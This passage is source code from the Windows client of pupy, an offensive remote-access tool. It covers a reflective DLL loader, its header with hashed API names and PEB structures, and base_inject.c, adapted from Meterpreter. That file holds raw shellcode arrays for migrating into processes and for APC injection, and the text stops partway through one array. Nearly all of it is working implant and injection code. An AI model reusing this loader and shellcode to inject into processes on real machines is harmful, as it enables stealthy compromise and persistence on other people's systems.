        uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));

        // uiValueD = VA of the OriginalFirstThunk
        uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);

        // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
        uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);

        // itterate through all imported functions, importing by ordinal if no name present
        while(DEREF(uiValueA))
        {
            // sanity check uiValueD as some compilers only import by FirstThunk
            if(uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
            {
                // get the VA of the modules NT Header
                uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

                // uiNameArray = the address of the modules export directory entry
                uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

                // get the VA of the export directory
                uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

                // get the VA for the array of addresses
                uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

                // use the import ordinal (- export ordinal base) as an index into the array of addresses
                uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));

                // patch in the address for this imported function
                DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
            }
            else
            {
                // get the VA of this functions import by name struct
                uiValueB = (uiBaseAddress + DEREF(uiValueA));

                // use GetProcAddress and patch in the address for this imported function
                DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
            }
            // get the next imported function
            uiValueA += sizeof(ULONG_PTR);
            if(uiValueD)
                uiValueD += sizeof(ULONG_PTR);
        }

        // get the next import
        uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
    }

    // STEP 5: process all of our images relocations...

    // calculate the base address delta and perform relocations (even if we load at desired image base)
    uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

    // uiValueB = the address of the relocation directory
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

    // check if their are any relocations present
    if(((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
    {
        // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
        uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

        // and we itterate through all entries...
        while(((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
        {
            // uiValueA = the VA for this relocation block
            uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);

            // uiValueB = number of entries in this relocation block
            uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);

            // uiValueD is now the first entry in the current relocation block
            uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

            // we itterate through all the entries in the current block...
            while(uiValueB--)
            {
                // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
                // we dont use a switch statement to avoid the compiler building a jump table
                // which would not be very position independent!
                if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
                    *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
                else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
                    *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
                // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
                else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
                {
                    register DWORD dwInstruction;
                    register DWORD dwAddress;
                    register WORD wImm;
                    // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
                    dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
                    // flip the words to get the instruction as expected
                    dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
                    // sanity chack we are processing a MOV instruction...
                    if((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
                    {
                        // pull out the encoded 16bit value (the high portion of the address-to-relocate)
                        wImm  = (WORD)(dwInstruction & 0x000000FF);
                        wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
                        wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
                        wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
                        // apply the relocation to the target address
                        dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
                        // now create a new instruction with the same opcode and register param.
                        dwInstruction  = (DWORD)(dwInstruction & ARM_MOV_MASK2);
                        // patch in the relocated address...
                        dwInstruction |= (DWORD)(dwAddress & 0x00FF);
                        dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
                        dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
                        dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
                        // now flip the instructions words and patch back into the code...
                        *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
                    }
                }
#endif
                else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
                else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

                // get the next entry in the current relocation block
                uiValueD += sizeof(IMAGE_RELOC);
            }

            // get the next entry in the relocation directory
            uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
        }
    }

    // STEP 6: Execute TLS is any
    uiValueC = (ULONG_PTR)&((
        PIMAGE_NT_HEADERS) uiHeaderValue)->OptionalHeader.DataDirectory[
            IMAGE_DIRECTORY_ENTRY_TLS];
    if (((PIMAGE_DATA_DIRECTORY)uiValueC)->VirtualAddress) {
        uiValueA = (PIMAGE_TLS_CALLBACK *) (
            (PIMAGE_TLS_DIRECTORY) (
                uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueC)->VirtualAddress
            )
        )->AddressOfCallBacks;

        if (uiValueA) {
            while (*((PIMAGE_TLS_CALLBACK *) uiValueA)) {
                (*((PIMAGE_TLS_CALLBACK *) uiValueA))(
                    (LPVOID) uiBaseAddress, DLL_PROCESS_ATTACH, NULL
                );

                uiValueA += sizeof(ULONG_PTR);
            }
        }
    }

    // STEP 7: If AMD64 - register exceptions
#if _WIN64
    uiValueC = (ULONG_PTR)&((
        PIMAGE_NT_HEADERS) uiHeaderValue)->OptionalHeader.DataDirectory[
            IMAGE_DIRECTORY_ENTRY_EXCEPTION];
    uiValueA = ((PIMAGE_DATA_DIRECTORY) uiValueC)->VirtualAddress;
    uiValueE = ((PIMAGE_DATA_DIRECTORY) uiValueC)->Size;

    if (uiValueA && uiValueE && pRtlAddFunctionTable) {
        pRtlAddFunctionTable(
            uiBaseAddress + uiValueA,
            (
                 uiValueE / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)
            ) - 1,
            uiBaseAddress
        );
    }
#endif

    // STEP 8: Finalize all the crap
    // uiValueA = the VA of the first section
    uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + (
        (PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);

    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while(uiValueE--)
    {
        // uiValueB is the VA for this section
        uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);

        // uiValueC if characteristics of the section
        uiValueC = ((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics;

        // copy the section over
        uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

        if (uiValueC & IMAGE_SCN_MEM_DISCARDABLE)
            pVirtualFree(uiValueB, uiValueD, MEM_DECOMMIT);
        else if (uiValueC & IMAGE_SCN_MEM_EXECUTE)
            pVirtualProtect(uiValueB, uiValueD, PAGE_EXECUTE_READ, &uiValueF);
        else
            pVirtualProtect(uiValueB, uiValueD, PAGE_READWRITE, &uiValueF);

        // get the VA of the next section
        uiValueA += sizeof(IMAGE_SECTION_HEADER);
    }

    pVirtualFree(uiLibraryAddress, dwSizeOfImage, MEM_DECOMMIT);

    // STEP 9: call our images entry point

    // uiValueA = the VA of our newly loaded DLL/EXE's entry point
    uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);

    // // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
    // pNtFlushInstructionCache((HANDLE)-1, NULL, 0);

    // call our respective entry point, fudging our hInstance value
    // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
    ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);

    // STEP 10: return our new entry point address so whatever called us can call DllMain() if needed.
    return uiValueA;
}
//

================================================
FILE: client/sources-windows-py3/ReflectiveLoader.h
================================================
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
//     * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
//     * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <intrin.h>

#include "ReflectiveDLLInjection.h"

typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID  (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef LPVOID  (WINAPI * VIRTUALPROTECT)( LPVOID, SIZE_T, DWORD, PDWORD );
typedef LPVOID  (WINAPI * VIRTUALFREE)( LPVOID, SIZE_T, DWORD );
typedef DWORD  (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );

#define KERNEL32DLL_HASH               0x29cdd463
#define NTDLLDLL_HASH                  0x145370bb

#define LOADLIBRARYA_HASH              0x53b2070f
#define GETPROCADDRESS_HASH            0xf8f45725
#define VIRTUALALLOC_HASH              0x03285501
#define VIRTUALPROTECT_HASH            0x820621f3
#define VIRTUALFREE_HASH               0x3a9acc72
#define NTFLUSHINSTRUCTIONCACHE_HASH   0x24f8dd09

#ifdef _WIN64
typedef BOOLEAN (NTAPI * RTLADDFUNCTIONTABLE)( PVOID, DWORD, DWORD64 );
#define RTLADDFUNCTIONTABLE_HASH       0x38791528
#endif

#define IMAGE_REL_BASED_ARM_MOV32A     5
#define IMAGE_REL_BASED_ARM_MOV32T     7

#define ARM_MOV_MASK                   (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2                  (DWORD)(0xFBF08F00)
#define ARM_MOVW                       0xF2400000
#define ARM_MOVT                       0xF2C00000

#define HASH_KEY                       13

#ifndef REFLECTIVE_LOADER_SYM
#define REFLECTIVE_LOADER_SYM ReflectiveLoader
#endif

#define STRINGIFY(x) #x
#define TOSTRING(x) STRINGIFY(x)

#define REFLECTIVE_LOADER_SYMNAME TOSTRING(REFLECTIVE_LOADER_SYM)

#define IMAGE_DOS_SIGNATURE_ALT  0x4548
#define IMAGE_NT_SIGNATURE_ALT   0x0B15B00B5

//===============================================================================================//

#define FNV_PRIME_32    16777619
#define FNV_OFFSET_32   2166136261

__forceinline static
DWORD symhash(const unsigned char *s) {
   register DWORD h = FNV_OFFSET_32;

   if (!s || !s[0])
      return h;

   /*
      Workaround stdcall namings
      _BLABLA@1234 -> BLABLA
   */
   if (s[0] == '_')
      s ++;

   while (s[0] && s[0] != '@') {
      h = h ^ s[0];
      h = h * FNV_PRIME_32;
      s ++;
   }

   return h;
}

__forceinline static
DWORD hashmodname(const unsigned char *s, DWORD dwLength) {
   register DWORD h = FNV_OFFSET_32;

   while (dwLength --) {
      unsigned char c = (*s ++);

      if (!c)
         continue;

      if (c >= 'a')
         c -= 0x20;

      h ^= c;
      h *= FNV_PRIME_32;
   }

   return h;
}

//===============================================================================================//
typedef struct _UNICODE_STR
{
  USHORT Length;
  USHORT MaximumLength;
  PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;

// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
   //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
   LIST_ENTRY InMemoryOrderModuleList;
   LIST_ENTRY InInitializationOrderModuleList;
   PVOID DllBase;
   PVOID EntryPoint;
   ULONG SizeOfImage;
   UNICODE_STR FullDllName;
   UNICODE_STR BaseDllName;
   ULONG Flags;
   SHORT LoadCount;
   SHORT TlsIndex;
   LIST_ENTRY HashTableEntry;
   ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
   DWORD dwLength;
   DWORD dwInitialized;
   LPVOID lpSsHandle;
   LIST_ENTRY InLoadOrderModuleList;
   LIST_ENTRY InMemoryOrderModuleList;
   LIST_ENTRY InInitializationOrderModuleList;
   LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
   struct _PEB_FREE_BLOCK * pNext;
   DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;

// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
   BYTE bInheritedAddressSpace;
   BYTE bReadImageFileExecOptions;
   BYTE bBeingDebugged;
   BYTE bSpareBool;
   LPVOID lpMutant;
   LPVOID lpImageBaseAddress;
   PPEB_LDR_DATA pLdr;
   LPVOID lpProcessParameters;
   LPVOID lpSubSystemData;
   LPVOID lpProcessHeap;
   PRTL_CRITICAL_SECTION pFastPebLock;
   LPVOID lpFastPebLockRoutine;
   LPVOID lpFastPebUnlockRoutine;
   DWORD dwEnvironmentUpdateCount;
   LPVOID lpKernelCallbackTable;
   DWORD dwSystemReserved;
   DWORD dwAtlThunkSListPtr32;
   PPEB_FREE_BLOCK pFreeList;
   DWORD dwTlsExpansionCounter;
   LPVOID lpTlsBitmap;
   DWORD dwTlsBitmapBits[2];
   LPVOID lpReadOnlySharedMemoryBase;
   LPVOID lpReadOnlySharedMemoryHeap;
   LPVOID lpReadOnlyStaticServerData;
   LPVOID lpAnsiCodePageData;
   LPVOID lpOemCodePageData;
   LPVOID lpUnicodeCaseTableData;
   DWORD dwNumberOfProcessors;
   DWORD dwNtGlobalFlag;
   LARGE_INTEGER liCriticalSectionTimeout;
   DWORD dwHeapSegmentReserve;
   DWORD dwHeapSegmentCommit;
   DWORD dwHeapDeCommitTotalFreeThreshold;
   DWORD dwHeapDeCommitFreeBlockThreshold;
   DWORD dwNumberOfHeaps;
   DWORD dwMaximumNumberOfHeaps;
   LPVOID lpProcessHeaps;
   LPVOID lpGdiSharedHandleTable;
   LPVOID lpProcessStarterHelper;
   DWORD dwGdiDCAttributeList;
   LPVOID lpLoaderLock;
   DWORD dwOSMajorVersion;
   DWORD dwOSMinorVersion;
   WORD wOSBuildNumber;
   WORD wOSCSDVersion;
   DWORD dwOSPlatformId;
   DWORD dwImageSubsystem;
   DWORD dwImageSubsystemMajorVersion;
   DWORD dwImageSubsystemMinorVersion;
   DWORD dwImageProcessAffinityMask;
   DWORD dwGdiHandleBuffer[34];
   LPVOID lpPostProcessInitRoutine;
   LPVOID lpTlsExpansionBitmap;
   DWORD dwTlsExpansionBitmapBits[32];
   DWORD dwSessionId;
   ULARGE_INTEGER liAppCompatFlags;
   ULARGE_INTEGER liAppCompatFlagsUser;
   LPVOID lppShimData;
   LPVOID lpAppCompatInfo;
   UNICODE_STR usCSDVersion;
   LPVOID lpActivationContextData;
   LPVOID lpProcessAssemblyStorageMap;
   LPVOID lpSystemDefaultActivationContextData;
   LPVOID lpSystemAssemblyStorageMap;
   DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;

typedef struct
{
   WORD	offset:12;
   WORD	type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//



================================================
FILE: client/sources-windows-py3/actctx.c
================================================
#include "actctx.h"

HANDLE PyWin_DLLhActivationContext=NULL;
PFN_GETCURRENTACTCTX pfnGetCurrentActCtx=NULL;
PFN_ACTIVATEACTCTX pfnActivateActCtx=NULL;
PFN_DEACTIVATEACTCTX pfnDeactivateActCtx=NULL;
PFN_ADDREFACTCTX pfnAddRefActCtx=NULL;
PFN_RELEASEACTCTX pfnReleaseActCtx=NULL;

ULONG_PTR _My_ActivateActCtx()
{
    ULONG_PTR ret = 0;
    if (PyWin_DLLhActivationContext && pfnActivateActCtx)
        if (!(*pfnActivateActCtx)(PyWin_DLLhActivationContext, &ret)) {
            ret = 0; // no promise the failing function didn't change it!
        }
    return ret;
}

void _My_DeactivateActCtx(ULONG_PTR cookie)
{
    if (cookie && pfnDeactivateActCtx)
        if (!(*pfnDeactivateActCtx)(0, cookie)){}
}



================================================
FILE: client/sources-windows-py3/actctx.h
================================================
#include <windows.h>
#include <stdio.h>
#include <olectl.h>

#include <assert.h>
// Windows "Activation Context" work:
// Our .pyd extension modules are generally built without a manifest (ie,
// those included with Python and those built with a default distutils.
// This requires we perform some "activation context" magic when loading our
// extensions.  In summary:
// * As our DLL loads we save the context being used.
// * Before loading our extensions we re-activate our saved context.
// * After extension load is complete we restore the old context.
// As an added complication, this magic only works on XP or later - we simply
// use the existence (or not) of the relevant function pointers from kernel32.
// See bug 4566 (http://python.org/sf/4566) for more details.
#ifdef __cplusplus
extern "C" {
#endif

typedef BOOL (WINAPI * PFN_GETCURRENTACTCTX)(HANDLE *);
typedef BOOL (WINAPI * PFN_ACTIVATEACTCTX)(HANDLE, ULONG_PTR *);
typedef BOOL (WINAPI * PFN_DEACTIVATEACTCTX)(DWORD, ULONG_PTR);
typedef BOOL (WINAPI * PFN_ADDREFACTCTX)(HANDLE);
typedef BOOL (WINAPI * PFN_RELEASEACTCTX)(HANDLE);

// locals and function pointers for this activation context magic.
extern HANDLE PyWin_DLLhActivationContext;
extern PFN_GETCURRENTACTCTX pfnGetCurrentActCtx;
extern PFN_ACTIVATEACTCTX pfnActivateActCtx;
extern PFN_DEACTIVATEACTCTX pfnDeactivateActCtx;
extern PFN_ADDREFACTCTX pfnAddRefActCtx;
extern PFN_RELEASEACTCTX pfnReleaseActCtx;

void _MyLoadActCtxPointers();
ULONG_PTR _My_ActivateActCtx();
void _My_DeactivateActCtx(ULONG_PTR cookie);

#ifdef __cplusplus
}
#endif


================================================
FILE: client/sources-windows-py3/base_inject.c
================================================
/*
 This code is originally from meterpreter and has been modified to be integrated into pupy.
 original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/

Meterpreter is available for use under the following license, commonly known as the
3-clause (or "modified") BSD license:

=========================================================================================

Meterpreter
-----------

Copyright (c) 2006-2013, Rapid7 Inc

Redistribution and use in source and binary forms, with or without modification, are
permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this list of
  conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice, this list of
  conditions and the following disclaimer in the documentation and/or other materials
  provided with the distribution.

* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
  promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

*/

//#include "common.h"
#include <windows.h>
#include <Tlhelp32.h>

#include "thread.h"
#include "remote_thread.h"
#include "LoadLibraryR.h"
#include "base_inject.h"
#include "debug.h"

#ifdef _PUPY_DYNLOAD
#include <Python.h>
#else
#include "Python-dynload.h"
#endif

#define BREAK_ON_ERROR( str ) { \
    dprint(str " GetLastError()=%d" "\n", GetLastError()); \
    PyErr_Format(PyExc_Exception, str " GetLastError()=%d", GetLastError()); \
    break; \
}


// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
BYTE migrate_executex64[] =	\
    "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
    "\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
    "\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
    "\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
    "\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";

// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
BYTE migrate_wownativex[] = \
    "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
    "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
    "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
    "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
    "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
    "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
    "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
    "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
    "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
    "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
    "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
    "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
    "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
    "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
    "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
    "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
    "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
    "\x48\x83\xC4\x50\x48\x89\xFC\xC3";

// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'
BYTE apc_stub_x86[] = \
    "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5"
    "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F"
    "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF"
    "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B"
    "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01"
    "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF"
    "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58"
    "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04"
    "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58"
    "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10"
    "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B"
    "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00"
    "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51"
    "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00";

// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'
BYTE apc_stub_x64[] =
    "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
    "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
    "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
    "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
    "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
    "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
    "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01"
    "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF"
